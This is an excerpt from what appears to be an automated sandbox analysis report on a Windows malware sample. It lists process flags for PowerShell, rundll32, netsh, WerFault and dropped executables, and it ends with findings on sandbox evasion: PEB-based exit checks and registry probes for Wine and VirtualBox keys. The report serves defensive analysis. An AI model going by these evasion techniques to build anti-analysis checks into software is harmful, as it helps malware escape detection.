Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-10530
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-12126

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
